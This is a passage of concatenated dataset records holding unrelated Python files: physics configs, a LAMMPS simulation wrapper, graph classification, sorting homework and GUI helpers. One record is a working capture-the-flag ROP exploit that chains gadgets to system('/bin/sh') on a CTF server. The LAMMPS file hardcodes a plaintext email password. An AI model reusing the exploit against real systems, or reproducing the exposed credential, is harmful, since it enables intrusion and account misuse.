correlation between pT and lifetime particle. \n### Additionally, to keep a reasonable retention \n### factor in the stripping lines, results of ANN for \n### the particle identification ( PROBNNp(pi,K)) \n### were used in the event selections. \n### Besides, all pT restrictions were \n### choosen more loose for all stripping lines.\n### \n### All efforts above give us a hope to reduce in 1.5-2 times our\n### experimental errors in the ratio N(Xic->p+\\phi(KK)) / N( Lc->p+\\phi(KK)) and \n### to increase the sensitivity to the possible pentaquarks contributions due \n### to more large statistics for the signal. \n### The common idea of all our modifications in the streeping lines is \n### to keep signal efficiencies as high as it is a possible and \n### simultaneously to keep possible systematic errors of \n### measurements at the some reasonable level. \n###\n##################################################\n\n\nXic2HHH = {\n 'WGs' : ['BandQ'],\n 'BUILDERTYPE' : 'StrippingXic2HHHConf',\n 'CONFIG' : { 'Daug_All_PT_MIN' : 300.0 * MeV\n , 'Daug_P_MIN' : 3000.0 * MeV\n , 'Daug_TRCHI2DOF_MAX' : 10.0\n , 'Daug_1of3_BPVIPCHI2_MIN' : 0.5\n , 'Proton_PIDp_MIN' : 10.0 \n , 'K_IPCHI2_MIN' : 0.0 \n , 'Comb_MASS_MIN' : 1950.0 * MeV \n , 'Comb_MASS_MAX' : 2800.0 * MeV \n , 'Comb_ADOCAMAX_MAX' : 0.3 * mm \n , 'Xic_PT_MIN' : 1500.0 * MeV\n , 'Xic_VCHI2VDOF_MAX' : 8.0\n , 'Xic_BPVVDCHI2_MIN' : 0.0\n , 'Xic_BPVDIRA_MIN' : 0.9\n , 'Xic_BPVIPCHI2_MAX' : 10.\n , 'Xic_BPVLTIME_MAX' : 0.0025 * ns\n , 'Xic_BPVLTIME_MIN' : 0.0002 * ns\n , 'HltFilter' : \"HLT_PASS('Hlt2CharmHadD2HHHDecision')\"\n , 'PrescaleXic2PKPi' : 1.0\n , 'PostscaleXic2PKPi' : 1.0\n , 'PrescaleXic2PKK' : 1.0\n , 'PostscaleXic2PKK' : 1.0\n , 'PrescaleXic2PV0' : 1.0\n , 'PostscaleXic2PV0' : 1.0\n , 'PrescaleXic2KLam' : 0.0 \n , 'PostscaleXic2KLam' : 0.0 \n , 'ExtraInfoTools' : [\n { \"Type\" : \"ConeVariables\", \n \"ConeAngle\" : 1.5, \n \"ConeNumber\" : 1, \n \"Variables\" : ['angle', 'mult', 'ptasy']\n }, \n { \"Type\" : \"ConeVariables\", \n \"ConeAngle\" : 15., \n \"ConeNumber\" : 2, \n \"Variables\" : ['angle', 'mult', 'ptasy']\n }, \n { \"Type\" : \"VertexIsolation\"}\n ] \n },\n 'STREAMS' : [\n 'Charm' \n ],\n} \n\n\n###############################################################\n### StrippingXibStarToXibZero\n###------------------------------------------------------------\n### Defined in: StrippingXibStarToXibZero.py\n### Proponent: matthew.john.charles@cern.ch\n### Motivation: FCNC searches, Xib* searches, selection tuning\n### Documentation: \n### https://indico.cern.ch/conferenceDisplay.py?confId=269979\n###############################################################\n\nXibStarToXibZero = {\n 'WGs' : ['BandQ'],\n 'BUILDERTYPE' : 'XibStarBuilder',\n 'CONFIG' : { \n 'LongTrackGEC' : 300\n , 'prescaleSignalDefault' : 1.0\n , 'prescaleSignalJpsi' : 1.0\n , 'prescaleControlHadronic' : 0.1\n , 'prescaleControlMuonic' : 1.0\n , 'XibStar_PT_Min' : 2500.0*MeV\n },\n 'STREAMS' : [\n 'Bhadron' \n ],\n}\n\n\n#########################################################\n### StrippingPromptCharm\n### -----------------------------------------------------\n### Defined in: StrippingPromptCharm.py\n### Proponent: Ivan.Belyaev@cern.ch\n### Motivation: coherent stripping of stable charm hadrons\n### Documentation: https://indico.cern.ch/conferenceDisplay.py?confId=270130\n#########################################################\n\nPromptCharm = {\n 'WGs' : ['BandQ'],\n 'BUILDERTYPE' : 'StrippingPromptCharmConf',\n 'CONFIG' : { 'D0Prescale' : 0.05 ,\n 'D+Prescale' : 0.05 ,\n 'D*Prescale' : 0.1 ,\n 'DsPrescale' : 0.5 ,\n },\n 'STREAMS' : [\n 'Charm' \n ],\n}\n\n\n\n\n","sub_path":"Stripping/Phys/StrippingSettings/python/StrippingSettings/Stripping20r0p3/LineConfigDictionaries_BandQ.py","file_name":"LineConfigDictionaries_BandQ.py","file_ext":"py","file_size_in_byte":9099,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"485092369","text":"import sys\r\nsys.path.extend(['..', '../../..'])\r\nfrom mupif import *\r\nfrom mupif.Physics import *\r\n#import jsonpickle\r\nimport time #for sleep1\r\nimport logging\r\nlog = logging.getLogger()\r\n\r\ndebug = True\r\n\r\nif not debug:\r\n import ComposelectorSimulationTools.MIUtilities as miu\r\n\r\n\r\n#\r\n# Expected response from operator: E-mail with (useCase + execID)\r\n# in the subject line, message body: json encoded dictionary with 'Operator-results' key, e.g.\r\n# {\"Result\": 3.14}\r\n#\r\n\r\nclass LAMMPS_API(Application.Application):\r\n\r\n class inputParam: # helper class to track input parameters\r\n def __init__(self, compulsory=False, defaultValue=None):\r\n self.compulsory = compulsory\r\n self.isSet = False\r\n self.value = defaultValue\r\n def isCompulsory(self):\r\n return self.compulsory\r\n def set(self, value):\r\n self.value = value \r\n self.isSet = True\r\n\r\n\r\n \"\"\"\r\n Simple application API that involves operator interaction\r\n \"\"\"\r\n def __init__(self,metaData={}):\r\n super(LAMMPS_API, self).__init__()\r\n # note: \"From\" should correspond to destination e-mail\r\n # where the response is received (Operator can reply to the message)\r\n MD = {\r\n 'Name': 'LAMMPS',\r\n 'ID': 'LAMMPS',\r\n 'Description': 'Moluecular dynamics simulation for the Airbus case',\r\n 'Physics': {\r\n 'Type': 'Molecular'\r\n },\r\n 'Solver': {\r\n 'Software': 'LAMMPS',\r\n 'Language': 'C++',\r\n 'License': 'Open-source',\r\n 'Creator': 'Borek Patzak',\r\n 'Version_date': 'lammps-12dec18',\r\n 'Type': 'Atomistic/Mesoscopic',\r\n 'Documentation': 'https://lammps.sandia.gov/doc/Manual.html',\r\n 'Estim_time_step_s': 1,\r\n 'Estim_comp_time_s': 0.01,\r\n 'Estim_execution_cost_EUR': 0.01,\r\n 'Estim_personnel_cost_EUR': 0.01,\r\n 'Required_expertise': 'None',\r\n 'Accuracy': 'High',\r\n 'Sensitivity': 'High',\r\n 'Complexity': 'Low',\r\n 'Robustness': 'High'\r\n },\r\n 'Inputs': [\r\n {'Type': 'mupif.Property', 'Type_ID': 'mupif.PropertyID.PID_SMILE_MOLECULAR_STRUCTURE', 'Name': 'Monomer Molecular Structure', 'Description': 'Monomer Molecular Structure', 'Units': 'None', 'Origin': 'Simulated', 'Required': True},\r\n {'Type': 'mupif.Property', 'Type_ID': 'mupif.PropertyID.PID_MOLECULAR_WEIGHT', 'Name': 'Polymer Molecular Weight', 'Description': 'Polymer Molecular Weight', 'Units': 'mol', 'Origin': 'Simulated', 'Required': True},\r\n {'Type': 'mupif.Property', 'Type_ID': 'mupif.PropertyID.PID_CROSSLINKER_TYPE', 'Name': 'CROSSLINKER TYPE', 'Description': 'CROSSLINKER TYPE', 'Units': 'None', 'Origin': 'Simulated', 'Required': True},\r\n {'Type': 'mupif.Property', 'Type_ID': 'mupif.PropertyID.PID_FILLER_DESIGNATION', 'Name': 'FILLER DESIGNATION', 'Description': 'FILLER DESIGNATION', 'Units': 'None', 'Origin': 'Simulated', 'Required': True},\r\n {'Type': 'mupif.Property', 'Type_ID': 'mupif.PropertyID.PID_CROSSLINKONG_DENSITY', 'Name': 'CROSSLINKONG DENSITY', 'Description': 'CROSSLINKONG DENSITY', 'Units': 'None', 'Origin': 'Simulated', 'Required': True},\r\n {'Type': 'mupif.Property', 'Type_ID': 'mupif.PropertyID.PID_FILLER_CONCENTRATION', 'Name': 'FILLER CONCENTRATION', 'Description': 'FILLER CONCENTRATION', 'Units': 'None', 'Origin': 'Simulated', 'Required': True},\r\n {'Type': 'mupif.Property', 'Type_ID': 'mupif.PropertyID.PID_TEMPERATURE', 'Name': 'TEMPERATURE', 'Description': 'TEMPERATURE', 'Units': 'degC', 'Origin': 'Simulated', 'Required': True},\r\n {'Type': 'mupif.Property', 'Type_ID': 'mupif.PropertyID.PID_PRESSURE', 'Name': 'PRESSURE', 'Description': 'TEMPERATURE', 'Units': 'atm', 'Origin': 'Simulated', 'Required': True},\r\n {'Type': 'mupif.Property', 'Type_ID': 'mupif.PropertyID.PID_POLYDISPERSITY_INDEX', 'Name': 'POLYDISPERSITY INDEX', 'Description': 'POLYDISPERSITY INDEX', 'Units': 'None', 'Origin': 'Simulated', 'Required': True},\r\n {'Type': 'mupif.Property', 'Type_ID': 'mupif.PropertyID.PID_SMILE_MODIFIER_MOLECULAR_STRUCTURE', 'Name': 'SMILE MODIFIER MOLECULAR STRUCTURE', 'Description': 'SMILE MODIFIER MOLECULAR STRUCTURE', 'Units': 'None', 'Origin': 'Simulated', 'Required': True},\r\n {'Type': 'mupif.Property', 'Type_ID': 'mupif.PropertyID.PID_SMILE_FILLER_MOLECULAR_STRUCTURE', 'Name': 'SMILE FILLER MOLECULAR STRUCTURE', 'Description': 'SMILE FILLER MOLECULAR STRUCTURE', 'Units': 'None', 'Origin': 'Simulated', 'Required': True},\r\n {'Type': 'mupif.Property', 'Type_ID': 'mupif.PropertyID.PID_DENSITY_OF_FUNCTIONALIZATION', 'Name': 'DENSITY OF FUNCTIONALIZATION', 'Description': 'DENSITY OF FUNCTIONALIZATION', 'Units': 'None', 'Origin': 'Simulated', 'Required': True}\r\n ],\r\n 'Outputs': [\r\n {'Type': 'mupif.Property', 'Type_ID': 'mupif.PropertyID.PID_DENSITY', 'Name': 'density', 'Description': 'density', 'Units': 'g/cm^3', 'Origin': 'Simulated'},\r\n {'Type': 'mupif.Property', 'Type_ID': 'mupif.PropertyID.PID_EModulus', 'Name': 'Young modulus', 'Description': 'Young modulus', 'Units': 'GPa', 'Origin': 'Simulated'},\r\n {'Type': 'mupif.Property', 'Type_ID': 'mupif.PropertyID.PID_effective_conductivity', 'Name': 'Thermal Conductivity', 'Description': 'Thermal Conductivity', 'Units': 'W/m.??C', 'Origin': 'Simulated'},\r\n {'Type': 'mupif.Property', 'Type_ID': 'mupif.PropertyID.PID_TRANSITION_TEMPERATURE', 'Name': 'Glass Transition Temperature', 'Description': 'Glass Transition Temperature', 'Units': 'K', 'Origin': 'Simulated'},\r\n {'Type': 'mupif.Property', 'Type_ID': 'mupif.PropertyID.PID_PoissonRatio', 'Name': 'Poisson Ratio', 'Description': 'Poisson Ratio', 'Units': 'None', 'Origin': 'Simulated'}\r\n ]\r\n }\r\n\r\n super(LAMMPS_API, self).__init__(MD)\r\n self.updateMetadata(metaData)\r\n\r\n def initialize(self, file='', workdir='', metaData={}, **kwargs):\r\n self.operator = operatorUtil.OperatorEMailInteraction(From='mdcompouser@gmail.com', To='erik.laurini@dia.units.it',smtpHost='smtp.units.it', imapHost='imap.gmail.com', imapUser='mdcompouser', imapPsswd='CompoSelector2017')\r\n\r\n # list of recognized input IDs\r\n self.inputProps = {PropertyID.PID_SMILE_MOLECULAR_STRUCTURE: self.inputParam(compulsory=True),\r\n PropertyID.PID_MOLECULAR_WEIGHT: self.inputParam(compulsory=True),\r\n PropertyID.PID_POLYDISPERSITY_INDEX: self.inputParam(compulsory=True),\r\n PropertyID.PID_CROSSLINKER_TYPE: self.inputParam(compulsory=True),\r\n PropertyID.PID_FILLER_DESIGNATION: self.inputParam(compulsory=True),\r\n PropertyID.PID_SMILE_MODIFIER_MOLECULAR_STRUCTURE: self.inputParam(compulsory=False),\r\n PropertyID.PID_SMILE_FILLER_MOLECULAR_STRUCTURE: self.inputParam(compulsory=False),\r\n PropertyID.PID_CROSSLINKONG_DENSITY: self.inputParam(compulsory=True),\r\n PropertyID.PID_FILLER_CONCENTRATION:self.inputParam(compulsory=True),\r\n PropertyID.PID_DENSITY_OF_FUNCTIONALIZATION: self.inputParam(compulsory=False),\r\n PropertyID.PID_TEMPERATURE: self.inputParam(compulsory=True),\r\n PropertyID.PID_PRESSURE: self.inputParam(compulsory=True)}\r\n\r\n #list of recognized output property IDs\r\n self.myOutPropIDs = [PropertyID.PID_DENSITY, PropertyID.PID_EModulus, PropertyID.PID_effective_conductivity, PropertyID.PID_TRANSITION_TEMPERATURE, PropertyID.PID_PoissonRatio]\r\n \r\n # list of collected inputs to be sent to operator\r\n self.inputs = {}\r\n self.outputs = {}\r\n #self.key = 'Operator-results'\r\n\r\n def setProperty(self, property, objectID=0):\r\n # remember the mapped value\r\n if property.propID in self.inputProps.keys():\r\n self.inputProps[property.propID].set(property)\r\n #self.inputs[str(property.propID)] = property\r\n else:\r\n log.error(\"Property %s not supported on input\" % property.propID)\r\n \r\n\r\n\r\n def _extractProperty (self, key, unit):\r\n if str(key) in self.outputs:\r\n value = float(self.outputs[str(key)])\r\n log.info('Found key %s with value %f' %(str(key),value))\r\n return Property.ConstantProperty(value, key, ValueType.Scalar, unit, None, 0)\r\n else:\r\n log.error('Not found key %s in email' % str(key))\r\n return None\r\n\r\n def getProperty(self, propID, time, objectID=0):\r\n if (True):\r\n #unpack & process outputs (expected json encoded data)\r\n if (propID == PropertyID.PID_DENSITY):\r\n return Property.ConstantProperty(0.1, propID, ValueType.Scalar, 'g/cm/cm/cm', None, 0)\r\n elif (propID == PropertyID.PID_EModulus):\r\n return Property.ConstantProperty(210, propID, ValueType.Scalar, 'GPa', None, 0)\r\n elif (propID == PropertyID.PID_effective_conductivity):\r\n return Property.ConstantProperty(50, propID, ValueType.Scalar, 'W/m/K', None, 0)\r\n elif (propID == PropertyID.PID_PoissonRatio):\r\n return Property.ConstantProperty(0.2, propID, ValueType.Scalar, PhysicalQuantities.getDimensionlessUnit(), None, 0)\r\n elif (propID == PropertyID.PID_TRANSITION_TEMPERATURE):\r\n return Property.ConstantProperty(528, propID, ValueType.Scalar, 'K', None, 0)\r\n else:\r\n log.error('Not found key %s in email' % self.key)\r\n return None\r\n else:\r\n log.error(\"Property %s not recognized as output property\"%propID)\r\n \r\n def solveStep(self, tstep, stageID=0, runInBackground=False):\r\n #check inputs (if all compulsory set, generate collected inputs for operator)\r\n\r\n proceed = True\r\n #for i,ip in self.inputProps.items():\r\n # if ((ip.isCompulsory()==True) and (ip.isSet==False)):\r\n # log.error(\"Compulsory parameter %s not set\" % str(i))\r\n # proceed = False\r\n #if not proceed:\r\n # log.error(\"Error: some parameters heve not been set, Exiting\")\r\n # return\r\n # create input set for operator\r\n #for i,ip in self.inputProps.items():\r\n # try:\r\n # self.inputs[str(i)] = (ip.value.getValue(), str(ip.value.getUnits()))\r\n # except:\r\n # self.inputs[str(i)] = ip.value\r\n\r\n\r\n #send email to operator, pack json encoded inputs in the message\r\n #note workflow and job IDs will be available in upcoming MuPIF version\r\n #self.operator.contactOperator(useCaseID, execID, jsonpickle.encode(self.inputs))\r\n #responseReceived = False\r\n # check for response and repeat until received\r\n #while not responseReceived:\r\n #check response and receive the data\r\n # responseReceived, operatorOutput = self.operator.checkOperatorResponse(useCaseID, execID)\r\n # if responseReceived:\r\n # try:\r\n #self.outputs = jsonpickle.decode(operatorOutput.splitlines()) #pick up only dictionary to new line\r\n #self.outputs = jsonpickle.decode(''.join(operatorOutput.replace('=', '').split()).split('}')[0] + '}') #pick up only dictionary to new line\r\n # except Exception as e:\r\n # log.error(e)\r\n # log.info(\"Received response from operator %s\" % self.outputs)\r\n # else:\r\n time.sleep(10) #wait\r\n \r\n def getCriticalTimeStep(self):\r\n return 1.0\r\n","sub_path":"UseCases/Airbus/A_9p/LAMMPS_v4.py","file_name":"LAMMPS_v4.py","file_ext":"py","file_size_in_byte":12089,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"642047238","text":"from sklearn.model_selection import train_test_split\nf=open('waslink_node_num_n.txt','r')\nnode_num={}#node---num\nnode_n={}#node---asso\nfor line in f.readlines():\n line=line.strip()\n s=line.split()\n x=s[0]\n pinjie=s\n node_num[s[0]]=s[1]\n del(pinjie[0])\n del(pinjie[0])\n node_n[x]=pinjie\nf.close()\n#f1=open('cora_cite_class.txt','r')\nf1=open('class.txt','r')\nnode_c={}#node---class\nc_num={}#node-----num0--2188\nnum_c={}#所有数字对应node num0-2188----node\nll=0\nfor l in f1.readlines():\n line=l.strip()\n s=line.split()\n node_c[s[0]]=s[1]\n c_num[s[0]]=ll\n num_c[ll] = s[0]\n ll=ll+1\n\nclass_cl=['student','course','faculty','department','project','staff' ]\n\nweight={}\nff=open('walink_w.txt','r')#2\nfor line in ff.readlines():\n line=line.strip()\n s=line.split(\",\")\n pinjie=s[0]+\",\"+s[1]\n weight[pinjie] = s[2]\njj = 0\naccu = 0\n\n#cc2=open('del1.txt','w')\nfor jj in range(100):\n vw = {}\n print(jj)\n wvrn = {}\n train_data = []\n valid_data = []\n # 每个类按比例抽取\n for c in class_cl:\n list_class = []\n class_dict = {} # 数字对应node的字典\n i = 0\n ii = 0\n for i in range(434): # 7 实体的个数-1 0--1440\n no = num_c[i] # num对应的node\n if node_c[no] == c: # node对应的class是否为该类\n class_dict[ii] = no # 该类 num_update=node\n list_class.append(no) # 每类的个数\n # v5.write(str(ii) + \" \" + no + \" \" + node_c[no] + \" \" + node_num[no] + \"\\n\")\n ii = ii + 1\n train, valid = train_test_split(list_class, test_size=0.6)\n for x in train:\n train_data.append(x)\n for y in valid:\n valid_data.append(y)\n for key in class_cl:\n vw = {}\n for jk in valid_data:#对每个节点进行属于该类的概率初始化\n ww = 0\n ww2 = 0\n asso = node_n[jk]\n\n for i in asso:\n s1 = jk + \",\" + i\n s2 = i + \",\" + jk\n wei = 0\n if s1 in weight:\n wei = weight[s1]\n else:\n wei = weight[s2]\n ww2 = ww2 + float(wei)\n if i in train_data:\n if node_c[i] == key:\n ww = ww + float(wei)\n\n if ww==0:\n vw[jk]=0\n else:\n vw[jk] = ww/ww2\n\n for bianli in range(3):#5次迭代\n for j in valid_data: # 每个节点对每一类的P值\n ww = 0\n ww2 = 0\n asso = node_n[j]\n\n\n for i in asso:\n s1 = j + \",\" + i\n s2 = i + \",\" + j\n wei = 0\n if s1 in weight:\n wei = weight[s1]\n else:\n wei = weight[s2]\n if i in train_data:\n ww2 = ww2 + float(wei)\n if node_c[i] == key:\n ww = ww + float(wei)\n if i in valid_data:\n ww = ww + float(wei) * vw[i]\n ww2 = ww2 + float(wei)\n\n if ww==0:\n vw[j]=0\n else:\n vw[j] = ww / ww2\n if j in wvrn:\n q = wvrn[j]\n qq = q.split(\",\")\n qq1 = qq[0]\n if vw[j] > float(qq1):\n kagi = str(vw[j]) + \",\" + key\n wvrn[j] = kagi\n else:\n wvrn[j] = str(vw[j]) + \",\" + key\n\n\n zl = 0\n sum = 0\n for p in wvrn:\n sum=sum+1\n s = wvrn[p]\n cla = s.split(\",\")\n cla_c = cla[1]\n pvalue=float(cla[0])\n if cla_c == node_c[p]:\n zl = zl + 1\n\n\n print(len(wvrn))\n print(zl)\n print(sum)\n print(zl/sum)\n accu=accu+zl/sum\n print(len(train_data))\n # 存储 节点，vw最大的值和类别，两个值都需要替换\nprint(zl)\nprint(sum)\nprint(accu/100)\n","sub_path":"wek_waslink/wvrn.py","file_name":"wvrn.py","file_ext":"py","file_size_in_byte":4188,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"434846301","text":"# This is ROP exploit in which we have to find gadget(code which we can use for getting shell). Again in this program we have gets \n# vulnerability so we will reach to eip then we will use the gadget [pop rdi; ret] for our purpose and then we will find the address of \n# system function in ou plt section and we will push this address.\n\n\nfrom pwn import *\n\ncontext.arch='amd64'\n\nsh = remote('pwn.hsctf.com', 3131)\n\npop_rdi = 0x0000000000401273\nbin_sh_addr = 0x402051\nsystem_addr = int(sh.recvline().decode().strip().split(': ')[-1],16)\n\npayload = b'a'*(8+8)\npayload += p64(pop_rdi)\npayload += p64(bin_sh_addr)\n#payload += str(flat(bin_sh_addr))\n\npayload += p64(system_addr)\n\nsh.sendlineafter(': ', payload)\nsh.interactive()\n","sub_path":"HSCTF19/exploits/combo-chain-lite-exploit.py","file_name":"combo-chain-lite-exploit.py","file_ext":"py","file_size_in_byte":724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"653624017","text":"from PyQt5 import QtWidgets\nimport display.main as main\n\nimport display.constants as const\n\n\ndef createApp(*args, **kwargs):\n return QtWidgets.QApplication(*args, **kwargs)\n\n\ndef createGui(game):\n main_window = QtWidgets.QMainWindow()\n main_window.setWindowTitle(\"Scotland Yard VOP Edition\")\n main_widget = main.MainWidget(game, speed=const.REFRESH_RATE)\n\n game.addGui(main_widget.getGameInteraction())\n\n main_window.setCentralWidget(main_widget)\n\n displayMode = int(game.config['DISPLAY']['display_mode'])\n displayMode = const.DISPLAY_MODE_OPTIONS[displayMode]\n if displayMode == \"Fullscreen\":\n main_window.showFullScreen()\n elif displayMode == \"Maximized\":\n main_window.showMaximized()\n else:\n main_window.show()\n\n return main_window\n\n\ndef createReplayGui(config):\n main_window = QtWidgets.QMainWindow()\n main_window.setWindowTitle(\"Scotland Yard Replays\")\n main_widget = main.MainReplayWidget()\n main_window.setCentralWidget(main_widget)\n\n displayMode = int(config['DISPLAY']['display_mode'])\n displayMode = const.DISPLAY_MODE_OPTIONS[displayMode]\n if displayMode == \"Fullscreen\":\n main_window.showFullScreen()\n elif displayMode == \"Maximized\":\n main_window.showMaximized()\n else:\n main_window.show()\n\n return main_window\n","sub_path":"display/gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":1333,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"575714897","text":"import pprint\npp = pprint.PrettyPrinter()\n\n\ndef create_listed_file():\n listed_file = []\n with open('recipes.txt','r', encoding='utf-8') as recipes:\n for line in recipes:\n if line.strip():\n listed_file.append(line.strip())\n if len(listed_file):\n return listed_file\n else:\n return print('Can not create CookBook from an empty list!')\n\ndef create_cook_book():\n\n listed_file = create_listed_file()\n cook_book = {}\n\n n = 0\n while n < len(listed_file):\n\n dish_name = listed_file[n]\n ingredients_list = []\n m = 0\n while m < int(listed_file[n + 1]):\n ingredient = listed_file[n + 2 + m].split('|')\n ingredients_list.append({'ingredient_name': ingredient[0].strip(), 'quantity': int(ingredient[1]), 'measure': ingredient[2].strip()})\n m += 1\n\n cook_book.update({dish_name:ingredients_list})\n n += (2 + m)\n\n return cook_book\n\ndef get_shop_list_by_dishes(dishes, person_count):\n cook_book = create_cook_book()\n shop_list = {}\n for dish in dishes:\n for recepie in cook_book.keys():\n if recepie == dish:\n for ingredient in cook_book[recepie]:\n if ingredient['ingredient_name'] not in shop_list.keys():\n shop_list.update({ingredient['ingredient_name']: {'measure' : ingredient['measure'], 'quantity' : ingredient['quantity'] * person_count}})\n else:\n shop_list[ingredient['ingredient_name']]['quantity'] += ingredient['quantity'] * person_count\n return(shop_list)\n\npp.pprint(create_cook_book())\npp.pprint(get_shop_list_by_dishes(['Запеченный картофель', 'Омлет', 'Фахитос'], 2))","sub_path":"Cookbook.py","file_name":"Cookbook.py","file_ext":"py","file_size_in_byte":1617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"524158470","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Oct 7 10:48:54 2020\n\n@author: citiz\n\"\"\"\nQ_One = int(input('How many numbers?'))\nQ_Two = 'y'\nrun = \"y\"\nExit = 'n'\nrunning_count = 0\n\nwhile Q_Two == run:\n count = 0\n while count < Q_One:\n print(running_count)\n count = count + 1\n running_count = running_count + 1\n \n Q_Two = input('Would you like to continue y or n?')\n if Q_Two == run:\n Q_One = int(input('How many numbers?'))\n ","sub_path":"Minis/Number_Chain.py","file_name":"Number_Chain.py","file_ext":"py","file_size_in_byte":470,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"294816872","text":"# Student name: Colin Sather.\r\nimport random\r\nimport math\r\n\r\n\r\ndef issorted(A) :\r\n \"\"\"\r\n Returns True if A is sorted in non-decreasing order,\r\n and returns False if A is not sorted.\r\n Keyword arguments:\r\n A - a Python list.\r\n \"\"\"\r\n flag = 0\r\n i = 1\r\n while i < len(A):\r\n if A[i-1] > A[i]:\r\n flag = 1\r\n i += 1\r\n if not flag:\r\n return True\r\n else:\r\n return False\r\n\r\n\r\ndef randomlist(length, low_value=0, high_value=100) :\r\n \"\"\"\r\n Generates and returns a Python list of random integer values.\r\n The integers in the list are generated uniformly at random from\r\n the interval [low_value, high_value], inclusive of both end points.\r\n\r\n Keyword arguments:\r\n length - the length of the list.\r\n low_value - the lower bound for the random integers.\r\n high_value - the upper bound for the random integers.\r\n \"\"\"\r\n lst = []\r\n i = 0\r\n while i < length:\r\n rando = random.randint(low_value, high_value)\r\n lst.append(rando)\r\n i += 1\r\n return lst\r\n\r\n\r\ndef insertionsort(A):\r\n \"\"\"\r\n Implementation of the insertion sort algorithm\r\n as specified on page 18 of the textbook.\r\n\r\n Keyword arguments:\r\n A - a Python list.\r\n \"\"\"\r\n for j in range(1, len(A)):\r\n key = A[j]\r\n i = j - 1\r\n while A[i] > key and i >= 0:\r\n A[i + 1] = A[i]\r\n i -= 1\r\n A[i + 1] = key\r\n return A\r\n\r\n\r\ndef heapsort(A):\r\n \"\"\"\r\n Implementation of the heapsort algorithm\r\n as specified on page 160 of the textbook.\r\n\r\n Keyword arguments:\r\n A - a Python list.\r\n \"\"\"\r\n heapsize = len(A)\r\n \r\n def left(i):\r\n \"\"\"Returns the index of the left child of i (see page 152).\"\"\"\r\n return 2*i +1\r\n\r\n def right(i):\r\n \"\"\"Returns the index of the right child of i (see page 152).\"\"\"\r\n return 2*i +2\r\n\r\n def maxheapify(A, i):\r\n \"\"\"\r\n Performs the max heapify step as specified in the algorithm\r\n on page 154 of the textbook.\r\n\r\n Keyword arguments:\r\n A - a Python list.\r\n i - the root of the subtree to heapify\r\n \"\"\"\r\n nonlocal heapsize\r\n\r\n l = left(i)\r\n r = right(i)\r\n if l < heapsize and A[l] > A[i-1]:\r\n largest = l\r\n else:\r\n largest = i\r\n if r < heapsize and A[r] > A[largest]:\r\n largest = r\r\n if largest != i:\r\n A[i], A[largest] = A[largest], A[i]\r\n maxheapify(A, largest)\r\n\r\n def buildmaxheap(A) :\r\n \"\"\"\r\n Reorders the elements of list A so that A\r\n satisfies the max heap property. Implementation of\r\n algorithm on page 157 of the textbook.\r\n\r\n Keyword arguments:\r\n A - a Python list.\r\n \"\"\"\r\n nonlocal heapsize\r\n heapsize = len(A)\r\n for i in range(math.floor(heapsize/2), 0, -1):\r\n maxheapify(A, i)\r\n \r\n # heapsort execution ends after this block\r\n length = len(A) - 1\r\n buildmaxheap(A)\r\n for i in range(length, 1, -1):\r\n A[0], A[i] = A[i], A[0]\r\n heapsize = heapsize - 1\r\n maxheapify(A, 0)\r\n\r\n\r\nif __name__ == \"__main__\" :\r\n ## Indented within this if block, do the following:\r\n ## 1) Write a few lines of code to demonstrate that your\r\n ## issorted works correctly (i.e., that it returns True\r\n ## if given a list that is sorted, and False otherwise).\r\n L = [43, 12, 132, 13]\r\n M = [1, 2, 3, 4, 7]\r\n print(\"\\n----------------- Question 1 -----------------\\n\")\r\n print(L, \"is sorted =\", issorted(L)) # returns false\r\n print(M, \"is sorted =\", issorted(M), \"\\n\") # returns true\r\n\r\n ## 2) Write a few lines of code to demonstrate that insertionsort\r\n ## correctly sorts a list (your randomlist function will be useful\r\n ## here). Output (i.e., with print statements) the contents\r\n ## of the list before sorting, and then again after sorting).\r\n print(\"----------------- Question 2 -----------------\\n\")\r\n A = randomlist(5, 0, 100)\r\n print(\"Random unsorted array:\", A)\r\n insertionsort(A)\r\n print(\"Post insertion sort:\", A, \"\\n\")\r\n\r\n ## 3) Repeat 2 to demostrate that your heapsort sorts correctly.\r\n print(\"----------------- Question 3 -----------------\\n\")\r\n B = randomlist(5, 0, 100)\r\n print(\"Random unsorted array:\", B)\r\n print(\"Unsorted max-heap:\", B)\r\n heapsort(B)\r\n print(\"Sorted max-heap:\", B)","sub_path":"CSCI_4104/Assignment_1/answer.py","file_name":"answer.py","file_ext":"py","file_size_in_byte":4466,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"452212134","text":"# Copyright 2020, Google LLC.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"Runs federated training on various tasks using a generalized form of FedAvg.\n\nSpecifically, we create (according to flags) an iterative processes that allows\nfor client and server learning rate schedules, as well as various client and\nserver optimization methods. For more details on the learning rate scheduling\nand optimization methods, see `shared/optimizer_utils.py`. For details on the\niterative process, see `shared/fed_avg_schedule.py`.\n\"\"\"\n\nimport collections\nfrom typing import Any, Callable, Optional\n\nfrom absl import app\nfrom absl import flags\nimport tensorflow as tf\nimport tensorflow_federated as tff\nclient_devices = tf.config.list_logical_devices('GPU')\ntff.backends.native.set_local_execution_context(client_tf_devices=client_devices)\nfrom optimization.cifar100 import federated_cifar100\nfrom optimization.emnist import federated_emnist\nfrom optimization.emnist_ae import federated_emnist_ae\nfrom optimization.shakespeare import federated_shakespeare\nfrom optimization.shared import fed_avg_schedule\nfrom optimization.shared import optimizer_utils\nfrom optimization.stackoverflow import federated_stackoverflow\nfrom optimization.stackoverflow_lr 